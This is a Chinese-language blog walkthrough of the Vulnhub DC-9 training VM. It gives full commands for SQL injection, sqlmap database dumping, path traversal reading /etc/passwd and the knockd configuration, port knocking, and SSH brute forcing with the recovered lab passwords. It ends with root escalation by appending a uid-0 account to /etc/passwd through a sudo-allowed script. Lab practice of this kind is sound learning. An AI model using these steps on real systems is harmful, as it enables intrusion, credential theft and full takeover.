当前位置:   article > 正文

Vulnhub靶机渗透学习——DC-9_vulnhub dc-9

vulnhub dc-9

本文仅个人学习所做笔记,仅供参考,有不足之处请指出!

vulnhub靶机

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC9 还是老样子只有拿到root权限才可以发现最终的flag。
Vulnhub靶机下载:
官网地址:[https://download.vulnhub.com/dc/DC-9.zip]
Vulnhub靶机安装:
下载好了把安装包解压 然后试用VMware即可。

环境准备

攻击机:kali
靶机:DC-9
同一局域网段

DC-9靶机漏洞详解

信息收集

打开kali和DC-9靶机,可以看到它是需要登录账户密码的
在这里插入图片描述
接下来对它进行信息收集
在kali上使用nmap扫描整个虚拟机网段的存活主机:

nmap -sP -PI -PT 192.168.232.0/24
  • 1

在这里插入图片描述

可以看到通过排除,靶机的ip为:192.168.232.136
确定IP后在通过nmap扫描其主机信息:

nmap -sV -Pn 192.168.232.136
  • 1

在这里插入图片描述
可以看到靶机开放了80端口但22端口是filtered的(后面会利用到),这里可以先用浏览器访问一下80端口,进行框架识别。
在这里插入图片描述
发现无框架的页面,接下来探查一下页面,看是否存在web漏洞,先用dirseach进行扫描,没有发现可以利用的文件:
在这里插入图片描述

漏洞利用

测试过程

接下来可以测试一下搜索框和登录界面是否存在sql注入漏洞,测试:

1' and 1=1#
1' and 1=2#
  • 1
  • 2

这里会发现两条语句都没回显出信息
在这里插入图片描述
这里并不代表着不存在sql注入漏洞,可能是web服务器屏蔽了回显报错信息,也就是不会报错,这个时候我们就无法判断闭合形式是否为单引号等,只能盲猜一手,而且因为不能报错,也就无法使用order by去判断查询字段长度,但还可以使用union select来判断。
首先盲猜为单引号闭合:

1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
1' union select 1,2,3,4,5,6#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述
当查询6个字段时出现了数据,可以判断这里是存在SQL注入漏洞的。
当然这里可以使用1’ or 1=1#来直接恒等于真,爆出查询语句的内容。也是可以判断这里存在SQL注入漏洞。
在这里插入图片描述
还可以用漏洞扫描工具来测试是否存在漏洞,这里所使用的的Xray。
在这里插入图片描述
在这里插入图片描述

sqlmap爆数据库

接下来竟然知道这里存在字符型sql注入漏洞,我们使用sqlmap工具来爆出我们所需要的数据库信息:
1、爆数据库名,由于是POST请求发送数据,所以这里指定–date参数为search

sqlmap -u 'http://192.168.232.136/results.php' --data 'search=1' --dbs --batch
  • 1

在这里插入图片描述
2、爆staff数据库表名

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff --tables --batch
  • 1

在这里插入图片描述
3、爆users表的字段名

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users --columns --batch
  • 1

在这里插入图片描述
4、获取字段数据

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump --batch
  • 1

在这里插入图片描述
5、md5解密
https://www.somd5.com/
在这里插入图片描述
6、同样按照上述步骤获取users数据库的信息

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch
  • 1

在这里插入图片描述

任意文件读取漏洞

通过sql注入漏洞,获取了管理员账户和密码,登录管理员后台,发现页面有个提示:File does not exist显示文件不存在:
在这里插入图片描述
测试一下看是否存在文件包含漏洞,这里可以用wfuzz工具爆出是file参数:

?file=../../../../etc/passwd
  • 1

在这里插入图片描述
接下来不知道怎么搞了,去网上找了一些文章这里,发现这里接下来需要利用knockd服务https://zhuanlan.zhihu.com/p/210177505
通过/proc/sched_debug 来查看Linux系统中任务的调度情况,发现了knockd进程:
在这里插入图片描述
knockd 服务的默认配置路径:/etc/knockd.conf
然后使用文件包含漏洞遍历一下,获得ssh开门密码 sequence = 7469,8475,9842
在这里插入图片描述
然后安装knock工具,对获取的端口(开门密码)实现碰撞,可以看到成功开启了ssh端口:

apt install knockd
knock 192.168.232.136 7469 8475 9842
或者
nmap -sV 192.168.232.136 -p 7469 
nmap -sV 192.168.232.136 -p 8475 
nmap -sV 192.168.232.136 -p 9842
nmap -sV 192.168.232.136
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述

ssh爆破

在开放ssh端口后,需要尝试通过用户名、密码登录,这里我们可以根据通过sql注入爆出的users库UserDetails表中的字段信息,将username放入user.txt,将password放入pass.txt来爆破ssh:
在这里插入图片描述

[22][ssh] host: 192.168.232.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: janitor password: Ilovepeepee

爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集

信息收集

爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集:

ls -al	查看用户文件
sudo -l		查看root权限
history		查看历史命令
  • 1
  • 2
  • 3

1、chandlerb
在这里插入图片描述
2、 joeyt
在这里插入图片描述
3、janitor
在这里插入图片描述
经过测试发现,在 janitor 用户登录的时候,在.secrets-for-putin发现了一些新的密码信息。

二次ssh爆破

将新获取的密码信息再放入pass1.txt中,再次进行ssh爆破:
在这里插入图片描述

[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: fredf password: B4-Tru3-001

可以看到这里又新发现了一个用户fredf,按上述命令继续对fredf进行信息收集,看是否能发现敏感信息:
在这里插入图片描述
在查看权限时,发现一个test路径。经过查看发现test是一个python文件,接下来使用查找命令,查看这个python文件:
在这里插入图片描述
经过查看发现这个py文件的大致内容就是将参数1的内容写入参数2中,接下来尝试进行提权。

本地提权

先openssl passwd创建一个新用户和密码

openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密
  • 1
  • 2
  • 3

在这里插入图片描述
然后构造成/etc/passwd下的格式,保存在pass文件中

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> pass
  • 1

再运行刚刚发现的test.py将pass写入到/etc/passwd

sudo /opt/devstuff/dist/test/test pass /etc/passwd
  • 1

切换为admin用户获取flag
在这里插入图片描述
参考文章:

http://t.csdn.cn/ZI6F9
https://zhuanlan.zhihu.com/p/210177505

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/黑客灵魂/article/detail/987241
推荐阅读
相关标签
  

闽ICP备14008679号